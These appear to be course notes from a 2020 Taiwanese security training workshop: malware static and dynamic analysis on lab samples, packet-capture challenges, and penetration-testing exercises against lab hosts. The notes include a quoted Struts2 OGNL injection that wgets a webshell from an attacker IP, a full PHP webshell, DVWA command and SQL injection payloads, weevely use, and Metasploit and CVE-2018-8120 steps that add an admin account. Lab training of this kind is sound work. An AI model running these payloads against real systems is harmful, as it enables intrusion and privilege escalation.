# 2020資安檢核進階技術研討 (1013~1015)
# 10/13 筆記
## 環境設定
***
==**FortiClient Setting**==
vpn ip:140.110.112.1
account:eduuser01-20@cdx.training
password:edu@training10
***
vpn download :
[https://cdx.nchc.org.tw/download.php](https://cdx.nchc.org.tw/download.php)
file download : [https://drive.narlabs.org.tw/navigate/s/2A392E4512ED4CE4895BE061B1BCEB23GUY](https://drive.narlabs.org.tw/navigate/s/2A392E4512ED4CE4895BE061B1BCEB23GUY)
cdx 官方:
https://cdx.nchc.org.tw/
***
20201013
首先安裝FortiVPN
網關:140.110.112.1
使用自己的ID登入VPN
1. 登入CDX官網(==請用Google Chrome==)
1. 功能選單
1. 機器管理
1. VNC開啟虛擬機器
1. 在電腦-管理-使用者
1. admin右鍵變更密碼
***
開啟本機的遠端桌面連線
連入自己雲端主機的IP(注意VPN一段時間若沒動作將會斷線)
ID:admin
PASSWORD:自己方才設定的密碼
練習檔案 https://ppt.cc/fGOn0x
到檔案下載頁面,將Labs.zip下載到虛擬機
密碼:20201013
解壓縮完後可得到1個DLL及5個EXE檔
## 靜態分析
### 程式指紋辨識
C:建立新資料夾「Tools」
兩個惡意程式指紋辨識程式介紹
#### WinMD5Free
拖曳resource_hacker.zip進入他的UI介面就會算出MD5
#### hashdeep
他是CMD介面故建議在環境變數上先設定
我的電腦右鍵內容-進階系統設定-環境變數
找到系統變數Path編輯
最後面加入;C:\Tools

開啟命令提示字元...
輸入指令
>hashdeep -c sha1 resource_hacker.zip
```
C:\Users\admin\Desktop>hashdeep -c sha1 resource_hacker.zip
%%%% HASHDEEP-1.0
%%%% size,sha1,filename
## Invoked from: C:\Users\admin\Desktop
## C:\Users\admin\Desktop> hashdeep -c sha1 resource_hacker.zip
##
3155570,c06630a1be87b91413c68cedec674a4ed400e4ff,C:\Users\admin\Desktop\resource
_hacker.zip
```
以Lab01.exe來練習
```
C:\Users\admin\Downloads\Labs>hashdeep -c sha1 Lab01.exe
%%%% HASHDEEP-1.0
%%%% size,sha1,filename
## Invoked from: C:\Users\admin\Downloads\Labs
## C:\Users\admin\Downloads\Labs> hashdeep -c sha1 Lab01.exe
##
16384,9dce39ac1bd36d877fdb0025ee88fdaff0627cdb,C:\Users\admin\Downloads\Labs\Lab
01.exe
```
#### strings
將strings64複製到tools資料夾,更名strings
第一次執行需要同意
>C:\Users\admin\Downloads\Labs>strings Lab01.exe
```
>strings Lab01.dll
!This program cannot be run in DOS mode. <== 執行檔字樣
Rich
.text
`.rdata
@.data
.reloc
SUV
h8`
fj
h8`
L$xQh
h(`
RVf
D$"
-(
j
IQh `
|$4
D$$
L$4PQj
D$\D
_^]
u?h
f
%d`
Y^j
=X`
WVS
WVS
NWVS
u7WPS
u&WVS
WVS
_^[]
%
CloseHandle <==windows api
Sleep
CreateProcessA
CreateMutexA
OpenMutexA
KERNEL32.dll
WS2_32.dll <===網路行為
strncmp <==比對字串
MSVCRT.dll
free
_initterm
malloc
_adjust_fdiv
exec <===會呼叫程式
sleep <====睡覺一下不打擾系統
hello
127.26.152.13 <===可疑的IP
SADFHUHF <===很像常用的密碼?
/0I0[0h0p0
141G1[1l1
1Y2a2g2r2
3!3}3
FindNextFileA <===搜尋
FindFirstFileA <===搜尋
CopyFileA <===複製
```
對Lab01.dll進行分析
>C:\Users\admin\Downloads\Labs>strings Lab01.dll
```
CreateProcessA
CreateMutexA
OpenMutexA
KERNEL32.dll
WS2_32.dll
strncmp
MSVCRT.dll
free
_initterm
malloc
_adjust_fdiv
exec
sleep
hello
127.26.152.13 <===可疑IP
SADFHUHF
/0I0[0h0p0
141G1[1l1
1Y2a2g2r2
3!3}3
```
可以將一些發現到的Domain到情資平台搜尋
對Lab02.exe進行分析
>C:\Users\admin\Downloads\Labs>strings Lab02.exe
```
!This program cannot be run in DOS mode.
Rich
UPX0 <===可直接看到加殼模式為UPX
UPX1
UPX2
3.04
UPX!
AI3
h(0
L$,
QlI
" z
RV$
u+W
.hP
t=p
sHR
|Pd
S`
a\`Y
t@E
DmM
;0I
PQ6
(23h
MalService <===會建立一個MalService
sHGL345
http://w <===被加殼看不出來
warean
ysisbook.co
om#Int6net Explo!r 8FEI
.0<
SystemTimeToFile
GetMo
NaA
Cvg
*Waitab'r
Process
OpenMu$x
ZSB+
ForS
ing
ObjectU4
[Vrtb
CtrlDisp ch
SCM
8_e
Xcpt
mArg
sus
5nm@_
t_fd
i9H
m<e
9,p
vty
dlI37n
olfp
PEL
dW|6
.4t
lB`.rd
@.&
0'0
_~S
u A
GIu
PTj
XPTPSW
KERNEL32.DLL
ADVAPI32.dll
MSVCRT.dll
WININET.dll
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess
CreateServiceA <==建服務
exit
InternetOpenA
```
#### 加殼檢測PEiD
目的:程式碼混淆
開啟PEiD
載入Lab01.exe
EP Setcion打開
下方可以看到是用什麼軟體編譯的
下方??打開,右邊三個項目可以打開
Not Packed的話就表示是未加殼的

載入Lab02.exe
EP Setcion 是UPX1 已被加殼

7z開起來也是看到一樣的 UPX0、UPX1、UPX2
解殼前大小是0 => 脫殼後會還原原大小
Windows執行檔統稱PE (可攜式執行檔 Portable Executable)
右下角箭頭Hardcord scan出來 =>UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
可顯示是被什麼加殼工具加殼

將upx.exe複製到tools資料夾中
upx -d Lab02.exe -o Lab02_unpack.exe
解Lab02.exe的殼完成
用strings 解Lab02_unpack.exe
```
!This program cannot be run in DOS mode.
e
Rich
.text
`.rdata
@.data
@jj
h(0@
@
Vh(0@
, @
@jjjj
L$,j
@jjj
@jjj
T$
$ @
( @
u+W
=0 @
jjj
@jj
VWj
jjj
hT0@
t @
=p @
h00@
SVW
` @
\ @
|0@
X @
x0@
T @
=l0@
P @
t0@
5p0@
EPEPE
H @
D @
@ @
8 @
%< @
%L @
%d @
%h @
KERNEL32.DLL
ADVAPI32.dll
MSVCRT.dll
WININET.dll
SystemTimeToFileTime
GetModuleFileNameA
CreateWaitableTimerA
ExitProcess
OpenMutexA
SetWaitableTimer
WaitForSingleObject
CreateMutexA
CreateThread
CreateServiceA <===會建服務
StartServiceCtrlDispatcherA
OpenSCManagerA
_exit
_XcptFilter
exit
__p___initenv
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler3
_controlfp
InternetOpenUrlA
InternetOpenA
MalService
Malservice
HGL345
http://www.malwareanalysisbook.com <===會開啟此網址
Internet Explorer 8.0 <===預設啟用瀏覽器
```
***
## 動態分析
### 自動分析
#### Virus Total
```
```
#### ANY.RUN
https://any.run/
進入Services
可以看到上傳國家排行、目前最紅的病毒等
現在免費註冊帳號哦
```
cmd: shadowcopy delete <===系統快照刪除移除檔案備份
cmd: net.exe user xxx <===建帳號
```
#### MetaDefender Cloud
```
```
### 手動分析
#### Process Monitor
看Process
Filter以Process Explorer查出來的PID來進行關聯
以UDP Send搜尋
以Operation(CreateFile、ReadFile)搜尋
#### Process Explorer
看Process
強化版工作管理員
#### RegShot
將機碼快照
分析惡意程式使用
先按1st shot
在執行惡意程式
在執行2nd shot
按compare
可透過txt 看到有異動過資訊
```
values modified : xxx
```
#### ApateDNS
將所有本機的DNS請求全部導回來
透過這個方式把任何查詢DOMAIN的惡意程式流量導回
模擬中繼站
#### Netcat
#### TCPView
-老師會把解析位址關閉(resolve Address)
#### AutoRun
看自動啟動的部分
實機考
1.以Process Explorer看到沒有在執行的Notepad正在被執行
2.以TCPView看到Notepad正在對外連線
3.以Process Explorer查該執行檔位置在不正常的地方C:\Users\admin\AppData\Roaming
4.用ApateDNS將流量隔絕
5.用RegShot將執行前執行後分析機碼不同的地方
找到機碼殺掉
用AutoRun將啟動的Notepad任務刪除
在ANY.RUN上面說過的案例
Lab04.exe
練習:
Lab05.exe
#### 受害主機的處理方式
開機中
你應該做哪些事情?
當前系統狀態(程序,使用者,系統畫面...)
收集主機日誌
網路連線狀態
記憶體狀態
關機後
你應該做哪些事情?
複製受害者硬碟
#### 思考題
問題一
windwos 日誌位置?
C:\windows\system32\config\
c:\windwos\system32\winevt\Logs\
問題二
linux 日誌位置?
/var/log
***
### NMAP
1. SSH方式進入EDU-Training-Kali 主機
1. root toor
1. passwd變更密碼
1. ping EDU-Training- Metasploitable2 主機確定可連線
`# nmap -A -Pn TARGET_IP
Port 後方會顯示漏洞程式及版本
`
-Pn without ping test
-A 傻瓜用法
-O 看OS
常用方法 SYN SCAN
SYN=> SYN+ACK =>斷線 (為了加速,不想留紀錄)
掃描特定Port
```
# nmap -Pn -p80,443,53 TARGET_IP
```
```
nmap 10.100.220.41 -Pn -p-
```
searchsploit 程式名稱:搜尋漏洞

## exploitdb
exploitdb 人家寫好的漏洞攻擊程式
https://www.exploit-db.com/

msfconsole -q
>search vsftpd
>
>use 你的路徑例如 exploit/unix/ftp/vsftpd_234_backdoor
>show options
>
>set RHOSTS 對象IP
>
>run <==開port 攻擊,有時會失敗

run <== 第二次 正式進去

進入後
>id:確認權限,查看目前使用帳戶的uid和gid
>ifconfig
>pwd
>ls
>ls -al /home/ <==看帳號
>
***
## 案例
> 1
> 
> 2
> 
> 3
> 
> 4
> 
> 5
> 
> 6
> 
***
#### nmap NSE腳本(類似弱點掃描)
https://nmap.org/book/man-nse.html
https://nmap.org/nsedoc/categories/exploit.html
若以上無法補足的可透過以下網站
https://www.exploit-db.com/
#### Example Usage
> nmap --script ftp-vsftpd-backdoor -p 21 <host>

>find / -name ftp-vsftpd-backdoor.nse -print
>
>nmap -Pn -A -p 2121 IP
>
## 心智圖

## PE格式
DOS MZ Header
開頭必定為"MZ"4D 5A,這是 DOS EXE 的 Signature。而這東西讓 PE file 在 DOS 模式下也可執行,所佔大小為 40h bytes。
https://ithelp.ithome.com.tw/m/articles/10187490
## 2020-10-13 廣播桌面錄影、音
https://drive.google.com/drive/folders/1zONAGmauGjhrkNXJXKGJRWytPELfD37N?usp=sharing
***
# 10/14 筆記
## 惡意行為封包分析實務
http://pse.is/wireshark
1. 檔案01-telnet.pcap
問題:
1. 192.168.0.1是 Server
1. 192.168.0.2是 Client
1. 誰登入192.168.0.1: 帳號:fake 密碼: user
1. 登入後請問它做了什麼事
```
/sbin/ping www.yahoo.com
ls
ls -a
exit
```
右鍵

看所有資訊

2. 挑戰二
1. 02-massivesyn1.pcap 10.100.25.14 -> 10.100.18.12 syn scan
1. 02-massivesyn2.pcap 15.236.239.88 被syn flood
3. 挑戰三
1. FTP Server 10.121.70.151
1. FTP Client 10.234.125.254
1. 錯誤代碼530 Login incorrect
1. 破解admin密碼
4. 挑戰四
05-Foobar.pcap
1. BearShare 2.2.6
gnutella-svc ??

1. ip.addr == 10.1.4.176 Statistics->Endpoints
81

封包數

1. tcp.flags.syn == 1 and tcp.flags.ack == 1 && (tcp.flags.syn == 1 and tcp.flags.ack == 1)
213.66.32.81 & 65.34.1.56
5. 挑戰五
同樣的Request不同的Respose 很可疑
/bin/cat /etc/passwd
Shellshock

6. 挑戰六 1x-WebApp_exploit.pcap
1.受害者 192.168.43.120
2.攻擊者 192.168.43.200
3.漏洞名稱Apache Struts2 S2-045
漏洞
```
packet no.248 注入指令
/struts2-showcase/filedownload/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),new%20java.lang.String=&res=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=wget%20%2dr%20%2dO%20%2fvar%2fwww%2fhtml%2fwebshell%2etar%20http%3a%2f%2f192%2e168%2e43%2e200%2fwebshell%2etar
packet no.249 指令被執行下載webshell.tar
packet no.477 再注入命令tar xvf /var/www/html/webshell.tar -C /var/www/html/
packet no.699 確認webshell可以執行 "cmd" = "hostname"
packet no.703 透過webshell下指令 cmd=cat+%2Fetc%2Fpasswd
packet no.705 取得密碼檔
```
==URL Decoder==
https://www.urldecoder.org/
==資料匯出==
File -> Export Object -> HTTP -> Save All
==webshell==
https://github.com/backlion/webshell
==clinet==

==web==

```
<!DOCTYPE html>
<html>
<head>
<title>WEBSHELL</title>
</head>
<body onload="document.INPUT.cmd.focus();" style="background-color:black">
<!-- result -->
<pre><font color="white" size=5><?php system($_POST['cmd']); ?></font></pre>
<!-- command form -->
<form action="webshell.php" method="post" name="INPUT">
<font color="white" size=5>$</font><input type="text" name="cmd" size="40">
</form>
</body>
</html>
```
7. 挑戰七
1. 惡意程式伺服器位址: 67.215.231.34
2. 透過FTP竊取(account ,password)資料傳送到別台

8. 挑戰八
1. 惡意程式伺服器位址: 125.30.174.100
2. packet no.16 用base64回傳了入侵所獲得的資料
==Base64 Decode and Encode - Online==
https://www.base64decode.org/
==開啟Wireshark Flow Graph==
Wireshark --> Statistics --> Flow Graph
***
舉例:
line公司 行動條碼登入檢查驗證漏洞
https://zeroday.hitcon.org/vulnerability/ZD-2019-01197
SECURE MESSAGING APPS COMPARISON
https://www.securemessagingapps.com/
自建通訊 XMPP 博弈公司愛用
Line的點對點加密金鑰
***
## 網站應用安全分析實務
FortiClient連線VPN
開啟EDU-Training-Kali
下載burp suite 代理
可用來蒐集資料後在攻擊
https://portswigger.net/burp/communitydownload

開啟burp suite
設定proxy -> option
開啟FireFox -> 127.0.0.1:8080 -> 下載CA憑證
匯入FireFox(設定-隱私與安全性最下面檢視憑證-匯入)
一般最下面-設定-手動設定proxy-127.0.0.1:8080
打勾(也針對FTP與HTTPS連線使用此代理伺服器)
環境設定完成
網頁連線EDU-Training- Metasploitable2 主機
10.100.101.XXX/dvwa網頁
burp suite放行(intercept is off)
## DVWA
登入DVWA
==DVWA==
DVWA 全名叫 Damn Vulnerable Web Application
滲透測試漏洞平臺-練習弱點、網站應用程式的工具
左邊按DVWA Security
等級改成low

### Command Execution
左邊Command Execuiton
```
8.8.8.8
8.8.8.8 && ls
8.8.8.8 && cd / && ls && cat /etc/passwd
```

在burp suite裡面直接修改
8.8.8.8;ls
forward放行

在HTTP History可看到自己送出的紀錄(原始)
Original request: 原始封包
Edited request: 修改後的封包
### Upload
在burp suite把監聽關閉
把DVWA安全性等級改成High
右邊Upload
把剛才的檔案webshell.php(後門)上傳先設定好
在burp suite把監聽打開
只能上傳圖片檔
小訣竅:在尾端加上.jpg
forward放行,成功上傳
瀏覽shell
複製上傳路徑到upload尾端(包含.jpg)

測試上傳成功 URL
`http://10.100.101.159/dvwa//hackable/uploads/webshell.php.jpg`

### SQL injection
在burp suite把監聽關閉
把DVWA安全性等級改成low
左邊SQL injection
正常使用:
1
嘗試欄位中輸入:
'or''='
1'or''='
1'or ' 1=1

SQL injection原理及範例
https://medium.com/@vbjc5275/sql-injection原理及範例-74d90d7e8962
## 系統安全與權限提升
### Linux 提權
`weevely generate 123456 shell.php`

上傳完成的檔案,從VNC開啟,要去ROOT下面找
weevely http://目標IP/dvwa/hackable/uploads/shell.php 剛剛設定的密碼
weevely http://10.100.101.227/dvwa/hackable/uploads/shell.php 123456


==9083.c 下載==
search linux 2.6.24
https://www.exploit-db.com/exploits/9083
scp 路徑/root/poc4 msfadmin@10.100.101.225:/tmp
開另一視窗貼上

回到SSH的畫面
進入
weevely http://10.100.101.227/dvwa/hackable/uploads/shell.php 123456
到tmp
cd /tmp
確定檔案9083存在
id
ls
---------------------測試中------------------------------
在Kali上面編譯
編譯時出現
#include <netinet/sctp.h>
^~~~~~~~~~~~~~~~
compilation terminated.
的錯誤訊息
-->
增加套件
apt install libsctp-dev
編譯時出現
undefined reference to `sctp_sendmsg'
的錯誤訊息
-->
gcc加上參數
gcc 9083.c -o poc -lsctp
上傳到Metasploitable
scp poc msfadmin@10.100.101.225:/tmp
執行
./poc
-->-bash: ./poc: cannot execute binary file
---------------------測試中------------------------------
在Metasploitable上面編譯
gcc 9083.c -o poc
有可能因為環境問題無法編譯,請大俠重新來過

若成功,請執行
./poc
==Exploit Database==
https://www.exploit-db.com/
wget 'https://example.com' --no-check-certificate
## Workshop-03
EDU-Training-Win7_1080906_ycc
開機
IEUser/Passw0rd!
建remote一般使用者,建密碼
關防火牆
remote user群組內加入剛剛的user
用本機遠端到這一台
確認windows/system32無法建立新資料夾
在瀏覽器貼上此連結下載POC檔
https://github.com/unamer/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe
接著在命令提示自元輸入以下兩行(記得先移動到程式檔路徑)
`CVE-2018-8120.exe "net user hacker 123456 /add"`
輸入完指令發現命令提示字元卡住可以按 ctrl + C,強制中止

將hacker使用者加入特殊權限群組
`CVE-2018-8120.exe "net localgroup Administrators hacker /add"`

登出,重新登入確認
確認windows/system32可以建立新資料夾
成功提權取得管理者權限

查作業系統
systeminfo

1.資料蒐集
nmap
用版本去搜
2.想辦法提權
用不同腳本
## 2020-10-14 廣播桌面錄影、音
https://drive.google.com/drive/folders/1sRFmlcy--GPzSg5S2mxApSm8t3FJjdPO?usp=sharing
# 考前猜題
## 入侵程序
nmap掃描 nmap -A -Pn TARGET_IP
找出每個port的服務程式版本
msfconsole, search 軟體版本, use 腳本, show options, set 參數, run
### Nmap executable Windows installer
https://nmap.org/dist/nmap-7.91-setup.exe
### Vulmap is an open-source online local vulnerability scanner project
https://github.com/vulmon/Vulmap
### Vulmon - Vulnerability Intelligence Search Engine
https://vulmon.com/
### VirusTotal
https://www.virustotal.com/gui/
### RapidScan - The Multi-Tool Web Vulnerability Scanner
https://github.com/skavngr/rapidscan
### Exploit Database
https://www.exploit-db.com/
### Windows提權 CVE-2018-8120
https://github.com/unamer/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe
### Microsoft Windows - SetImeInfoEx Win32k NULL Pointer Dereference (Metasploit)
https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=45653
### Linux網頁上傳檔案
weevely generate 123456 shell.php
修改檔名上傳
weevely http://TARGET_IP/path/to/shell.php 123456
開始下Linux命令找答案 (ex. cat /path/to/flags)
### 封包解析
解出上傳的檔案[](https://)
### 惡意程式分析
將檔案SHA1、MD5去ANY.RUN,VirusTotal找
https://any.run/
https://www.virustotal.com/gui/home/search
#### EternalBlue (msfconole + net user user PASSWORD /add + net user user /active:yes)
### 'EternalBlue' SMB Remote Code Execution (MS17-010)
https://www.exploit-db.com/exploits/42315
https://www.exploit-db.com/download/42315
### GANDCRAB https://www.nomoreransom.org/
# CTFD網址: http://10.100.11.253
# 補充筆記
https://sera-brynn.com/understanding-the-red-team-cycle/
owasp top 10
https://owasp.org/www-project-top-ten/
youtube
https://www.youtube.com/
metasploit
https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf
cheat sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://stationx-public-download.s3.us-west-2.amazonaws.com/Wireshark-Cheat-Sheet-v1.pdf
process explorer
cheat sheet wireshark
提權相關
cheat sheet privilege escalation
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://github.com/AlessandroZ/BeRoot
Privilege Escalation Cheatsheet
https://noobsec.net/privesc-windows/
漏洞程式
privilege escalation github
1. 情資蒐集
1. google
1. wiki
1. 談話
1. 探測
1. 掃描
1. nmap
1. 找到漏洞
1. 不是天天有,怎麼找
1. 應用系統漏洞
1. 了解電腦有哪些權限,有時候有些檔案會給一些不該給的權限(系統不當配置)
1. 有沒有機會list他的權限,有沒有腳本協助做這些事情?
1. 上傳shell
1. shell如何產生
1. 熟悉的工具?
1. 獲得提權
1. 有拿到root
1. 沒拿到root,怎辦?
1.利用漏洞提權
分析
process explorer
virus total
其他沙箱
hash
md5
5W1H
* Who
* Why
* Where
* What
* When
* How

# 滿意度調查 https://reurl.cc/VXWaeb